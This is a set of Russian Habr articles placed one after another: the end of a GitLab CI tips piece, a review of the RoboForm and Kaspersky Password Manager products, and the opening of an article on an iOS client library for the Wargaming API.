* Поскольку это целое семейство функций, отдельные части начали появляться в GitLab 10.0, а другие (например, `changes`) — с 11.4.
* [docs.gitlab.com/ce/ci/yaml/#onlyexcept-advanced](https://docs.gitlab.com/ce/ci/yaml/#onlyexcept-advanced)
Иногда мне кажется, что это не пайплайн слушается нас, а мы его. Отличным инструментом для управления являются `only`/`except` — теперь уже комплексные. Что это означает?
В самом простом (и, пожалуй, самом приятном) случае — пропуск стадий:
```
Tests:
only:
- master
except:
refs:
- schedules
- triggers
variables:
- $CI_COMMIT_MESSAGE =~ /skip tests/
```
В примере job выполняется только на ветке мастер, но не может быть инициирован расписанием или триггером (вызовы API и триггеров GitLab разделяет, хоть это по сути всё то же API). Job не будет выполняться и в случае, когда в сообщении коммита будет кодовая фраза **skip tests**. Например, была исправлена опечатка в `README.md` проекта или документации — зачем ждать результатов тестирования?
«Эй, 2020 год за окном! Почему это я должен каждый раз объяснять железной коробке, что запускать тесты при изменении документации не нужно?» И действительно: `only:changes` позволяет запускать тесты при изменении файлов только в определённых каталогах. Например:
```
only:
refs:
- master
- merge_requests
changes:
- "front/**/*"
- "jest.config.js"
- "package.json"
```
А для обратного действия — т.е. не запускать — есть `except:changes`.
№5: rules
---------
* Индивидуальные правила заданий.
* Появились в GitLab 12.3.
* [docs.gitlab.com/ce/ci/yaml/#rules](https://docs.gitlab.com/ce/ci/yaml/#rules)
Эта директива очень похожа на предыдущие `only:*`, но с важным отличием: она позволяет управлять параметром `when`. Например, если вы хотите не убирать совсем возможность запуска job’а. Можно просто оставить кнопку, которую при желании будут вызывать самостоятельно, не производя запуск нового пайплайна или не делая commit.
№6: environment:auto\_stop\_in
------------------------------
* Остановка окружений при отсутствии активности.
* Появилась в GitLab 12.8.
* [docs.gitlab.com/ce/ci/yaml/#environmentauto\_stop\_in](https://docs.gitlab.com/ce/ci/yaml/#environmentauto_stop_in)
Об этой возможности мы узнали прямо перед публикацией статьи и ещё не успели достаточно опробовать на практике, однако это определённо «то самое», чего так ждали в нескольких проектах.
В GitLab окружениям можно указывать параметр `on_stop` — очень полезно, когда хочется создавать и удалять окружения динамически, например, к каждой ветке. Job, помеченный к `on_stop`, выполняется, например, при merge'е MR'а в master-ветку или при закрытии MR'а (или даже просто по нажатию на кнопку), благодаря чему ненужное окружение автоматически удаляется.
Всё удобно, логично, работает… если бы не человеческий фактор. Многие разработчики merge'ат MR'ы не нажатием кнопки в GitLab, а локально через `git merge`. Их можно понять: ведь это удобно! Но в таком случае логика `on_stop` не срабатывает, у нас копятся забытые окружения… Здесь-то и пригодится долгожданный `auto_stop_in`.
Бонус: времянки, когда не хватает возможностей
----------------------------------------------
Несмотря на все эти (и многие другие) новые, востребованные функции GitLab, к сожалению, иногда условия выполнения job’а просто невозможно описать в рамках имеющихся на данный момент возможностей.
GitLab не совершенен, зато даёт базовые инструменты для построения пайплайна мечты… если вы готовы выйти за рамки скромного DSL, окунувшись в мир скриптинга. Вот несколько решений из нашего опыта, которые ни в коем случае не претендуют на идеологически верные или рекомендованные, а приведены больше для демонстрирации разных возможностей при нехватке встроенного функционала API.
### Workaround №1: запуск двух job одной кнопкой
```
script:
- >
export CI_PROD_CL1_JOB_ID=`curl -s -H "PRIVATE-TOKEN: ${GITLAB_API_TOKEN}" \
"https://gitlab.domain/api/v4/projects/${CI_PROJECT_ID}/pipelines/${CI_PIPELINE_ID}/jobs" | \
jq '[.[] | select(.name == "Deploy (Cluster 1)")][0] | .id'`
- >
export CI_PROD_CL2_JOB_ID=`curl -s -H "PRIVATE-TOKEN: ${GITLAB_API_TOKEN}" \
"https://gitlab.domain/api/v4/projects/${CI_PROJECT_ID}/pipelines/${CI_PIPELINE_ID}/jobs" | \
jq '[.[] | select(.name == "Deploy (Cluster 2)")][0] | .id'`
- >
curl -s --request POST -H "PRIVATE-TOKEN: ${GITLAB_API_TOKEN}" \
"https://gitlab.domain/api/v4/projects/${CI_PROJECT_ID}/jobs/$CI_PROD_CL1_JOB_ID/play"
- >
curl -s --request POST -H "PRIVATE-TOKEN: ${GITLAB_API_TOKEN}" \
"https://gitlab.domain/api/v4/projects/${CI_PROJECT_ID}/jobs/$CI_PROD_CL2_JOB_ID/play"
```
А почему нет, если очень хочется?
### Workaround №2: передача изменившихся в MR rb-файлов для rubocop внутри образа
```
Rubocop:
stage: test
allow_failure: false
script:
...
- export VARFILE=$(mktemp)
- export MASTERCOMMIT=$(git merge-base origin/master HEAD)
- echo -ne 'CHANGED_FILES=' > ${VARFILE}
- if [ $(git --no-pager diff --name-only ${MASTERCOMMIT} | grep '.rb$' | wc -w |awk '{print $1}') -gt 0 ]; then
git --no-pager diff --name-only ${MASTERCOMMIT} | grep '.rb$' |tr '\n' ' ' >> ${VARFILE} ;
fi
- if [ $(wc -w ${VARFILE} | awk '{print $1}') -gt 1 ]; then
werf --stages-storage :local run rails-dev --docker-options="--rm --user app --env-file=${VARFILE}" -- bash -c /scripts/rubocop.sh ;
fi
- rm ${VARFILE}
```
Внутри образа нет `.git`, поэтому пришлось выкручиваться, чтобы проверять только изменившиеся файлы.
*Примечание: Это не совсем стандартная ситуация и отчаянная попытка соблюсти множество условий задачи, описание которой не входит в рамки данной статьи.*
### Workaround №3: триггер запуска jobs из других репозиториев при выкате
```
before_script:
- |
echo '### Trigger review: infra'
curl -s -X POST \
-F "token=$REVIEW_TOKEN_INFRA" \
-F "ref=master" \
-F "variables[REVIEW_NS]=$CI_ENVIRONMENT_SLUG" \
-F "variables[ACTION]=auto_review_start" \
https://gitlab.example.com/api/v4/projects/${INFRA_PROJECT_ID}/trigger/pipeline
```
Казалось бы, такая простая и необходимая (в мире микросервисов) вещь — выкат другого микросервиса в свежесозданный контур как зависимость. Но её нет, поэтому требуется вызов API и уже знакомая (описанная выше) фича:
```
only:
refs:
- triggers
variables:
- $ACTION == "auto_review_start"
```
Примечания:
* Job на trigger создан до возможности завязываться на передачу переменной в API, аналогично примеру №1. Логичнее реализовывать это на API с передачей имени job’а.
* Да, функция есть в коммерческой (EE) версии GitLab, но мы её не рассматриваем.
Заключение
----------
GitLab старается не отставать от трендов, постепенно реализуя приятные и востребованные DevOps-сообществом фичи. Они достаточно просты в использовании, а когда базовых возможностей не хватает, их всегда можно расширить скриптами. И если мы видим, что получается уже не столь изящно и удобно в поддержке… остаётся ждать новых релизов GitLab — или же [помочь проекту своим вкладом](https://opensource.com/article/19/9/how-contribute-gitlab).
P.S.
----
Читайте также в нашем блоге:
* «[Сборка и деплой однотипных микросервисов с werf и GitLab CI](https://habr.com/ru/company/flant/blog/469541/)»;
* «[JUnit в GitLab CI с Kubernetes](https://habr.com/ru/company/flant/blog/460897/)»;
* «[werf — наш инструмент для CI/CD в Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/460351/)» *(Дмитрий Столяров; 27 мая 2019 на DevOpsConf)*;
* «[Советы по созданию нестандартных рабочих процессов в GitLab CI](https://habr.com/ru/company/flant/blog/436910/)»;
* «[GitLab CI для непрерывной интеграции и доставки в production](https://habr.com/ru/company/flant/blog/332712/)». | https://habr.com/ru/post/491888/ | null | ru | null |
# Менеджеры паролей RoboForm и Kaspersky Password Manager
Логины, пароли, адреса, контакты, личные и банковские данные — все это непременные атрибуты сегодняшнего Интернета. Мы каждый день сталкиваемся с заполнением всевозможных веб-форм для доступа к той или иной информации, будь-то вход под своим логином на сервер бесплатной почты или регистрация на сайте. Вам, так или иначе, придется заполнить ряд полей Интернет страницы для доступа к необходимым данным. Хранить в голове кучу логинов и паролей, а также другие ценные данных очень сложно, соответственно возникает вопрос, как быть и что делать?
В целом все способы хранения пользователями личных данных известны. Кто-то записывает все свои логины и пароли в блокнотик или на листок бумаги, кто-то хранит данные на компьютере или на флешке в виде текстового файла, кто-то запоминает, кто-то сохраняет все пароли прямо в браузере (не лучшая идея), но при этом все сталкиваются с одной проблемой. Эти данные приходится каждый день многократно вводить в поля веб-форм Интернет страниц различных сайтов, либо в случае с хранением паролей в браузере, данные будут защищены весьма слабо. Я уже не говорю о том, что сам пароль ни в коем случае не должен быть плана:
`gornakov или stanislav1969`
Пароли такого плана – это не пароли, это широко открытая дверь вашего дома в любое время суток, а то и вовсе дом без двери. Такие пароли и им подобные названия ломаются хакерами и другими заинтересованными личностями за пару затяжек сигареты! Поэтому лучше никогда не использовать в паролях свои имена и фамилии, имена подруг и друзей, имена домашних животных, месяцы и дни недели, названия городов и так далее, но как говорится, я Америки не открыл — прописная истина. Кроме этого не нужно забывать хоть раз в месяц (как минимум) менять пароль, а значит, придется запоминать или записывать его заново, что само по себе добавляет лишних сложностей. Лучший пароль — это когда используется множество символов в количестве не мене 20, а в идеале не менее 40 символов, да еще и в разных регистрах. Например, вот отличный пароль, который взломать ну практически не возможно.
`KaJf9Gb_A$gjZh7%39ow#4^Fe#$d7kBf_wsWe&UaFsfW2oXEAo_6Ct4%JdZ7u6j!Tv@ucr`
как впрочем, и запомнить… Вот здесь нам на помощь и приходят специальные программы, которые называются менеджеры паролей. Суть работы этих программ достаточна проста. Менеджер паролей устанавливается на компьютер и хранит в зашифрованном виде данные (как правило, под одним главным паролем), а также, что немало важно автоматически подставляет логины и пароли на различных Интернет ресурсах. Таких программ множество в Интернете, как платных, так и бесплатных. В этой статью предлагаю рассмотреть две программы RoboForm от Siber Systems Inc. и от небезызвестной всем Лаборатории Касперского. Лбами друг с другом их сталкивать не буду, просто опишу механику работы обеих программ, поскольку по моему личному мнению, выбор любой программы – это дело личных предпочтений.
#### Менеджер учетных записей RoboForm
Разработчик: Siber Systems Inc.
Сайт программы: [www.roboform.com/ru](http://www.roboform.com/ru/)
Русский перевод: Да
Стоимость: Бесплатная версия/Платная версия 599 рублей
Программа RoboForm – это одновременно и менеджер паролей, и менеджер, и заполнитель всевозможных веб-форм Интернет страниц и форм других программ, установленных на компьютере. Например, RoboForm может выступать в качестве хранитель вашего логина и пароля в ICQ/MSN/AOL и так далее. То есть практически везде, где есть форма с паролем на веб-странице и другими данными можно легко и просто использовать RoboForm для хранения различной информации. С помощью RoboForm вы сможете сохранить ваш пароль и другие данные в его памяти, «закрыв» их одним паролем – главным паролем. Фактически главный пароль – это единственный пароль, который вам предстоит запомнить и который нужно вводить один раз при старте компьютера или входе в свою учетную запись (зависит от ваших настроек программы). Когда же RoboForm запущен на компьютере, то вы сможете без труда заходить и авторизироваться на сайтах в один клик мыши, заполнять автоматически любые веб-формы на сайтах, генерировать новые защищенные пароли с помощью встроенного генератора паролей, хранить ваши банковские и другие личные данные и многое другое. Все это может и умеет делать RoboForm. К слову мне понравилось высказывание одного из пользователей этой программы в Интернете, когда я искал себе замену бесплатному менеджеру паролей (утратившему мое доверие по причине не стабильной работы), который сказал: «ну не знаю, а как же жить без RoboForm?». Сама ппрограмма встраивается тулбаром во все основные браузеры (IE, Firefox и с недавних пор в Chrome), за исключением Оперы, но это «болезнь» Оперы и она известна всем.
**Где взять?**
Разработкой программы RoboForm занимается американская компания Siber Systems Inc. Программу можно скачать на сайте по адресу: [www.roboform.com/ru](http://www.roboform.com/ru/). Программа и сайт полностью русифицированы. На текущей момент RoboForm доступен в версии 6.9, и в ближайшее время ожидается появление новой версии за номером 7, с новыми «фишками» и возможностями. Сама программа поставляется в двух редакциях: RoboForm и RoboForm Pro. Кроме этого еще имеется программа RoboForm2Go, предназначенная для работы с флеш-накопителя, а также мобильные версии RoboForm для работы на мобильных устройствах под управлением Windows Mobile и Symbian. В чем отличия версий RoboForm и RoboForm Pro?
RoboForm – это бесплатная версия программы и первые 30 дней она будет работать как полнофункциональная версия RoboForm Pro. Как только закончится 30 дней, вы по-прежнему сможете работать с этой программой, но автоматически включится ограничение на количество учетных записей, а именно можно будет хранить 10 пасскарт и 2 персоны. О назначении этих терминов мы поговорим позже в статье. То есть бесплатная версия программы накладывает лишь ограничения на количество хранения учетных записей, весь остальной функционал программы доступен в полном объеме. Стоимость RoboForm Pro на данный момент составляет всего 599 рублей. Купить программу можно прямо на сайте и там же можно оформить дополнительные лицензии со скидкой, и приобрести со скидкой другие продукты Siber Systems Inc.
К слову, искренне надеюсь, что вам не придет в голову использовать программу со всевозможными «кряками», поскольку это все равно, что самому лично выслать свои пароли и другие данные злоумышленнику. Очевидно, что «кряк» к такой программе может содержать все что угодно! Соблазн завладеть личными данными пользователей в этом случае весьма велик, и одному только хакеру известно, что он встроил в этот «кряк». Так что тут без вариантов, с серьезными личными данными шутить нельзя и уж тем более при цене в 599 рублей за одну копию этой многофункциональной программы.
Установка программы проста и не должна вызвать у вас затруднений. По окончанию установки RoboForm на компьютер, вам будет предложено задать главный пароль. Кроме простого текстового поля в форме указания главного пароля также присутствует виртуальная клавиатура для набора пароля мышей. Именно этот главный пароль будет закрывать доступ к вашим данным, хранящимся в RoboForm. Хакнуть или завладеть главным паролем можно лишь с вашего компьютера, то есть этот пароль не доступен в сети Интернет и все ваши данные скрытые этим паролем буду храниться в надежном месте. Но все равно к выбору главного пароля нужно подходить очень тщательно и стоит придумать сложный пароль с большим количеством всевозможных символов. Этот пароль вы будете вводить всего один раз при первом старте программы и компьютера, либо если вы сами выгрузите пароль из памяти программы, а такая возможность в продукте предусмотрена. Например, вы работает за компьютером не в одиночку или вам нужно отойти от рабочего места (см. статью в журнале «Узнать за 60 секунд»). Кроме этого в настройках программы задается время хранения главного пароля и здесь можно указать любые временные промежутки для хранения главного пароля в памяти RoboForm.
**Пасскарты**
Программа RoboForm оперирует так называемым пасскартами и персонами. В этом разделе мы поговорим о пасскартах и их возможностях. По своей сути пасскарта – эта одна учетная запись для одного из сайтов в связке пароль + логин. То есть пасскарта хранит логин и пароль для одного аккаунта одного из сайтов в сети Интернет. Таких учетных записей или пасскарт для одного сайта или множества сайтов может быть любое количество в рамках лицензии (бесплатная версия программы после 30 дневного срока позволяет хранить лишь 10 пасскарт).
После установки программы, зайдя на любой сайт, в момент ввода пароля и логина, RoboForm предложит вам сохранить данные в новой пасскарте. Сохраняя пароль, вы можете указать папку для хранения пасскарты (полезно, если у вас несколько аккаунтов на одном из сайтов или вы хотите тематически разделить пасскарты), а также необходимо задать ее имя и определиться будете ли вы защищать новую пасскарту главным паролем. Защищать пасскарты главным паролем нужно однозначно, если данный аккаунт имеет для вас важное значение! Если же это дежурная регистрация на каком-то малоинтересном сайте, но на который вы время от времени будете заходить, то можно обойтись и без защиты пасскарты главным паролем, хотя я советую защищать все данные. Впоследствии через настройки программы в одни клик вы всегда сможете защитить пасскарту главным паролем, так же как и разблокировать ее от защиты главного пароля. Сохранив, таким образом пасскарту, вы тем самым сохраняете логин и пароль для данного сайта в программе. Чтобы в следующий раз зайти под своим логином и паролем, достаточно выбрать в меню тулбара своего браузера или в панели задач компьютера иконку RoboForm, пункт меню Логин -> Название пасскарты. В ответ на эти действия, программа автоматически переместит вас на Интернет страницу запрашиваемого сайта, а также войдет под вашим логином и паролем. К слову, если иконка RoboForm в тулбаре или в панели задач «в черных очках» то это значит, что на данный момент RoboForm хранит у себя в памяти главный пароль. Чтобы выгрузить пароль необходимо выбрать в меню пункт Выйти. Не путать с пунктом меню Выход. Здесь на мой взгляд вместо слова Выйти лучше бы было использовать фразу Выгрузить пароль, во избежание путаницы.
Кроме этого, посещая один из сайтов, для которых у вас уже создана пасскарта, программа RoboForm автоматически в тулбаре браузера в пункте Пасскарты предложит вам все имеющиеся паскарты для данного сайта. Вам лишь необходимо навести курсор в тулбаре на название пасскарты и выбрать команду Заполнить либо Послать и заполнить. Первая команда только заполняет форму авторизации, а вторая команда и заполняет форум авторизации и автоматически входит на сайт под данным логином и паролем.
Все сохраненные пасскарты доступны для редакции, а также вы можете вручную без посещения сайта, но с открытым браузером сами создавать новые паскарты. Для этих целей в системе существует Редактор Пасскарт. Открыть его можно из меню программы (тулбар или иконка программы на панели задач), выбрав пункты Инструменты -> Редактор Пасскарт. В открывшемся окне для редакции имеющейся паскарты выберите левой кнопкой мыши ее название, и справой стороны в соответствующих полях редактируйте имеющиеся данные. Для создания новой пасскарты в этом же окне нужно выбрать в меню Пасскарта -> Создать (опция функционирует только при открытом браузере) и далее указать название будущей пасскарты и задать логин с паролем.
**Персоны**
Персона на языке RoboForm – это набор личных и других данных одного из пользователей вашего компьютера или вас лично. Персон на компьютере может быть любое количество в рамках лицензии (бесплатная версия программы после 30 дневного срока позволяет хранить 2 персоны). Что же хранит в себе персона? Да все что угодно! Начиная от логина и пароля, заканчивая номером кредитной карты банка. В одной персоне вы можете хранить огромное количество всевозможных данных, что, в конечном счете, облегчит вам задачу заполнения всевозможных веб-форм. Например, вы создали в системе новую персону, указав в ней пароль, логин, адрес электронной почты, имя, фамилию, ник, год/день/месяц рождения, секретный вопрос с ответом, город, страну, телефон и так далее. После чего идете на сайт с необходимостью дальнейшей регистрации. Заходите на страницу регистрации и выбираете в меню тулбара браузера одну из персон (наведите курсор на персону и в появившемся контекстном меню выберете команду Заполнить). В ответ RoboForm автоматически заполняет все поля формы регистрации и вам лишь останется ввести символы с капчи и нажать кнопку подтверждения регистрация. Все — минимум телодвижений и максимум удобства при регистрации и заполнении всевозможных веб-форм, начиная от простой анкеты пользователя и заканчивая банковскими реквизитами организации. И все это надежно хранится под защитой RoboForm.
Редакция персон также доступна из редактора, но уже под названием Редактор Персон. Открыть редактор можно выбрав в меню программы пункт Инструменты -> Редактор Персон. В ответ на эти действия вам откроется окно редактора с вкладками Сводка, Личность, Бизнес, Место, Кредитка, Счет в банке, Любимый пароль и Настраиваемые. Как видно из названий вкладок, каждая из них предназначена для ввода определенных данных. Заполните имеющиеся поля (поля можно заполнять выборочно и в любом порядке), затем сохраните персону, выбрав в меню пункт Сохранить и ваша персона будет сохранена в программе. Теперь можно пользоваться данной персоной на любом из ресурсов сети Интернет.
В целом программа обладает огромным функционалом и большим количеством системных настроек. Если вы ищите для себя помощника и надежного хранителя ваших данных, то стоит обратить свое внимание на RoboForm.
#### Менеджер паролей Kaspersky Password Manager
Разработчик: Лаборатория Касперского
Сайт программы: [www.kaspersky.ru](http://www.kaspersky.ru)
Русский перевод: Да
Стоимость: 900 рублей
В данный момент Kaspersky Password Manager предлагается как самостоятельный и отдельный продукт, но по некоторым данным в следующем году он войдет в состав одного из новых продуктов компании «Лаборатория Касперского». Сейчас стоимость программы составляет 900 рублей. В том случае если вы собираетесь приобрести несколько продуктов «Лаборатории Касперского», то предусмотрены интересные скидки. На сайте компании в разделе «Интернет-магазин» можно найти больше информации по скидкам и способам приобретения программы.
**Особенности программы**
Программа Kaspersky Password Manager предназначена для хранения паролей (связка логин и пароль), который вы используете для доступа к веб-сайтам. Кроме этого Kaspersky Password Manager умеет запоминать параметры доступа и для обычных программ, использующихся на компьютере, например ICQ, ваш кошелек WebMoney (WebMoney Keeper), Outlook и так далее. Все пароли хранятся в зашифрованном виде на компьютере в базе данных самой программы. Доступ ко всем паролям возможен только через ввод так называемого мастер-пароля. Помните, в предыдущей статье мы говорили о главном пароле? В случае с программой Kaspersky Password Manager используется название мастер-пароль, что по своей сути одно и то же. Мастер-пароль защищает все ваши учетный записи и без него доступ к данным будет закрыт.
Создание или точнее назначение мастер-пароля происходит на последнем этапе инсталляции программы на компьютер. После успешной установки Kaspersky Password Manager откроется окно ввода мастер-пароля. Ввести мастер-пароль можно как с обычной клавиатуры, так и с помощью виртуальной клавиатуры, которая присутствует в окне ввода данного пароля. После назначения пароля, программа доступна для ее полноценного использования.
Сам мастер-пароль не хранится в памяти программы. Более того, даже при открытой базе пароли аккаунтов все еще зашифрованы. Для расшифровки информации используется ключ, образованный из мастер-пароля. Ключ этот хранится внутри системы Windows Crypto API. Для расшифровки пароля передается зашифрованный блок в Crypto API, а только тогда Kaspersky Password Manager получает расшифрованную информации.
В настройках Kaspersky Password Manager можно задать временной промежуток времени, в период которого мастер-пароль будет «висеть» в памяти Kaspersky Password Manager. Если мастер-пароль выгружен из памяти (например, вы принудительно вышли или закончилось время хранения пароля в памяти), то перед тем как заполнить учетные данные на сайте или данные для доступа к программе на компьютере, Kaspersky Password Manager запросит ввод мастер-пароля. Только после ввода пароля программа откроет для вас доступ к имеющимся учетным данным. Такой подход позволяет использовать программу и в общественных местах, например на работе. Кроме этого Kaspersky Password Manager умеет работать со всевозможными USB- и Bluetooth-устройствами для хранения мастер-паролей, что значительно расширяет потенциал программы и добавляет ей вистов в плане общей безопасности.
**Принцип работы программы**
После установки Kaspersky Password Manager на компьютер, в окне браузера в правом верхнем углу добавляется дополнительная кнопка с изображением ключика, с помощью которой вы можете вызвать менеджер паролей. Кроме этого автоматически добавляется иконка в панель задач. Кликнув правой кнопкой мыши на этой иконке, вы откроете контекстное меню с набором команд и всевозможными опциями для настройки программы.
На данный момент Kaspersky Password Manager умеет работать с разными Интернет-браузерами, за исключением Оперы. Но в прошлой статье мы уже упоминали о проблемах этого браузера, так что сейчас не будем подробно на этом останавливаться, поскольку это проблемы данного браузера, а не проблемы Kaspersky Password Manager. Также пока не поддерживается работа с Chrome (пока) и Safari.
Как только вы зайдете на один из сайтов, заполните поля Логин и Пароль и нажмите кнопку Войти, Kaspersky Password Manager в автоматическом режиме предложит вам сохранить введенный данные под определенным названием, то есть предложит вам создать новую учетную запись в своей базе данных. Сохранив эти данные, в дальнейшем вы сможете легко и беспрепятственно в автоматическом режиме проходить авторизацию на сайте. Kaspersky Password Manager сам предложит вам войти, а если этого не произойдет, то достаточно выбрать в браузере кнопку с изображением ключика и далее подходящую запись (связка логин + пароль). Для одного сайта или программы может быть задано абсолютно любое количество паролей.
Единственная проблема, которая возникала у меня в Kaspersky Password Manager с авторизайцией на сайтах, это проблема с вводом логина и пароля в формах авторизации, которые скрыты и всплывают на сайте по нажатию кнопки Войти. Вот здесь иногда возникали проблемы, но честь и хвала разработчикам. В такой проблемной ситуации Kaspersky Password Manager копировал пароль для сайта в буфер обмена, показывая соответствующее информационное сообщение, и предлагал ввести логин вручную. Сам пароль через 30 секунд (время доступно для настройки) выгружается из памяти.
Все записанные в программу учетные записи хранятся в базе данных программы и доступны для редакции через открытие встроенного окна менеджера паролей. Более того, вы можете прямо в окне менеджера паролей создать новую запись, где ввести логин, пароль и адрес сайта или программы. Также очень удобна функция импорта и экспорта данных в программу. В первом случае у вас есть возможность импортировать учетные записи из всех поддерживаемых программой браузеров или из файла определенного формата. Во втором случае вы можете произвести экспорт учетных записей в текстовый файл. Оба варианта: импорт и экспорт весьма удобны! Например, я импортировал все свои пароли из Интернет браузера Firefox в программу без каких-либо осложнений в один клик мыши. Вам советую сделать то же самое, поскольку Firefox, IE и другие браузеры хранят пароли в открытом виде и при желании злоумышленник может беспрепятственно завладеть вашими конфиденциальными данными.
**Генератор паролей**
Кроме массы перечисленных достоинств в состав продукта Kaspersky Password Manager входит генератор паролей, с помощью которого можно сгенерировать сложный пароль. Я лично ранее, когда собирался придумать очередной пароль, открывал на компьютере простой блокнот и беспорядочно шлепал по клавиатуре, переключаясь в различные регистры, создавая тем самым очередной безопасный и трудно запоминаемый пароль. Ставить на компьютер отдельно генератор паролей как-то особого желания не было, поэтому пользовался вот таким проверенным «дедовским» методом. С приходом Kaspersky Password Manager данная процедура стала на много проще и главное пароли получаются по-настоящему «знатными».
В целом Kaspersky Password Manager мне понравился, хоть и были некоторые проблемы при вводе паролей во всплывающих веб-формах сайтов. Его относительно небольшая стоимость, а также известный мировой бренд привлечет много заинтересованных пользователей. К слову, на сайте разработчика доступна бесплатная 30-дневная триальная версия. | https://habr.com/ru/post/90577/ | null | ru | null |
# Как мы писали iOS-библиотеку для работы с Wargaming API
*[World of Tanks Assistant](https://itunes.apple.com/us/app/wot-assistant/id500174696?mt=8) (WOT Assistant)* и *[World of Warplanes Assitant](https://itunes.apple.com/us/app/world-of-warplanes-assistant/id739076510?mt=8) (WOWP Assistant)* — это приложения–компаньоны для игроков, которые позволяют следить за внутриигровой статистикой, сравнивать свои боевые показатели с друзьями, а также предоставляют оффлайн-доступ к справочной информации по технике.
WOWP Assistant появился относительно недавно (ноябрь 2013), а версия для World of Tanks была переписана почти с нуля в начале 2013, что по времени совпало с переходом на новый [Wargaming Public API](http://ru.wargaming.net/developers/documentation/guide/getting-started/).
Надеюсь, наиболее технически интересные моменты разработки iOS-библиотеки для взаимодействия *Assistant*’ов с API будут полезны для разработчиков и послужат источником вдохновения для участников конкурса Wargaming Developers Contest.
#### Требования
Основное требование высокого уровня к библиотеке — это простота в использовании и возможность оказывать помощь или даже полностью решать некоторые повседневные задачи (например, кэширование данных), для того чтобы упростить код клиентского приложения. Ниже я попытался формализовать список функциональных и нефункциональных требований к проекту:
* гибкое кэширование данных;
* поддержка «частичных» ответов;
* удобный способ для обработки цепочек запросов;
* удобный способ интеграции в приложения;
* максимальное покрытие кода тестами.
#### Использованные сторонние решения
Прежде чем мы вернемся к деталям реализации этих требований, стоит кратко упомянуть, какие библиотеки мы использовали.
##### [AFNetworking](https://github.com/AFNetworking/AFNetworking)
AFNetworking являтся де-факто стандартом библиотеки для работы с сетевыми данными. Хоть ее «универсальность» и тянет за собой кучу ненужной функциональности, свою мы решили не писать.
##### [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa)
Библиотека привносиит функционально-реактивные краски в мир iOS ([статья на Хабре](http://habrahabr.ru/post/215033/)). В данный момент активно используется в приложениях–ассистентах. На начальном этапе она показалась мне удобным способом описывать запросы как отдельные юниты работы API (зачем это понадобилось, будет рассказано в секции про цепочки запросов ниже).
##### [Mantle](https://github.com/Mantle/Mantle)
Еще одна библиотека от iOS команды Github, которая позволяет значительно упростить слой модели данных, а именно парсинг ответов web-сервисов (пример в README весьма показателен). В качестве бонуса все объекты автоматически получают поддержку ``и могут быть сериализованы.
##### Kiwi
Этот BDD-фреймворк объединяет в себе RSpec`-каркас для тестов, моки и матчеры. Эдакое решение «все-в-одном».
##### [OHTTPStubs](https://github.com/AliSoftware/OHHTTPStubs)
Библиотека просто незаменима, если вам нужно подменять ответы web-сервиса во время тестирования. Код для ее использования весьма "многословен", поэтому мы использовали свои упрощенные [функции-обертки](https://gist.github.com/garnett/7267579).
Теперь вернемся к нашим требованиям.
#### Гибкое кэширование данных
> There are only two hard things in Computer Science: cache invalidation and naming things.
>
>
>
> -- Phil Karlton
Под «гибким кэшированием» подразумевается следующее:
* данные пользователя могут обновляться каждые несколько часов
* справочная информация о технике устаревает гораздо медленнее и т.д.
Соответственно, время кэша для этих и других сущностей может и должно быть разным.
Мы пробовали несколько разных версий кэша - была у нас и `inMemory CoreData`, были попытки обыграть решение с использование `NSCache`. Позже мы решили, что кэш хоть и является важной фичей, но его реализация в любом из предложенных вариантов — весьма объемна в сравнении с размером всей остальной библиотеки. Поэтому мы перенесли всю функциональность кэша на уровень `NSURLConnection`.
##### [NSURLCache](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSURLCache_Class/Reference/Reference.html)
`NSURLCache` позволяет кэшировать ответы на запросы путем сопоставления `NSURLRequest` и соответствующего ответа. Хранить данные можно как на диске, так и в памяти.
Использование весьма лаконично:
```
NSURLCache *urlCache = [[NSURLCache alloc] initWithMemoryCapacity:kInMemoryCacheSize
diskCapacity:kOnDiskCacheSize
diskPath:path];
[NSURLCache setSharedURLCache:urlCache];
```
Проблема этого решения в том, что в таком виде оно абсолютно не позволяет управлять временем кэша.
У `NSURLConnectionDelegate` есть следующий метод, который позволяет нам немного "подправить" ответ перед его кэшированием:
```
- (NSCachedURLResponse *)connection:(NSURLConnection *)connection willCacheResponse:(NSCachedURLResponse *)cachedResponse;
```
Почему бы и нет?
```
NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse*)[cachedResponse response];
NSDictionary *headers = [httpResponse allHeaderFields];
NSString *cacheControl = [headers valueForKey:@"Cache-Control"];
NSString *expires = [headers valueForKey:@"Expires"];
if((cacheControl == nil) && (expires == nil)) {
NSMutableDictionary *modifiedHeaders = [httpResponse.allHeaderFields mutableCopy];
NSString *expireDate = [NSDate RFC822StringFromDate:[[NSDate date]
dateByAddingTimeInterval:cacheTime]];
NSDictionary *values = @{@"Expires": expireDate,
@"Cache-Control": @"public"};
[modifiedHeaders addEntriesFromDictionary:values];
NSHTTPURLResponse *response =
[[NSHTTPURLResponse alloc] initWithURL:httpResponse.URL
statusCode:httpResponse.statusCode
HTTPVersion:@"HTTP/1.1"
headerFields:modifiedHeaders];
NSCachedURLResponse *modifiedCachedResponse =
[[NSCachedURLResponse alloc] initWithResponse:response
data:cachedResponse.data
userInfo:cachedResponse.userInfo
storagePolicy:NSURLCacheStorageAllowed];
return modifiedCachedResponse;
}
return cachedResponse;
```
Не буду углубляться в детали HTTP-заголовков и попытаюсь кратко изложить суть решения.
1. Проверяем, поддерживается ли кэширование сервером (в нашем случае не поддерживается, и это даже хорошо, потому что мы хотим управлять временем жизни каждой сущности на стороне приложения).
2. Если не поддерживается, устанавливаем свое время жизни (переменная `cacheTime`) путем правки заголовков.
Вот и весь кэш — для любого запроса и любой новой сущности (достаточно переопределить время жизни при ее объявлении). Как и любое решение, здесь есть свои плюсы и минусы, о которых стоит упомянуть.
Недостатки:
* ответ каждый раз проходит всю цепочку обработки (получение, парсинг, валидация и т.д.);
* если что-то сломается в `NSURLCache`, сломается и решение.
Достоинства:
* абсолютно универсальный кэш в 30 строчек кода;
* при желании можно перенести кэширование на сервер;
* бонус: если нет интернета и в ответе вернется не 200-й код, `NSURLConnection` вернет закэшированный ответ.
#### Поддержка "частичных" ответов
Если мы посмотрим в докуменатцию по любому из запросов API (например, [персональные данные игрока](https://ru.wargaming.net/developers/api_reference/wowp/account/info/)), мы увидим там поле `fields`:
> Список полей ответа. Поля разделяются запятыми. Вложенные поля разделяются точками. Если параметр не указан, возвращаются все поля.
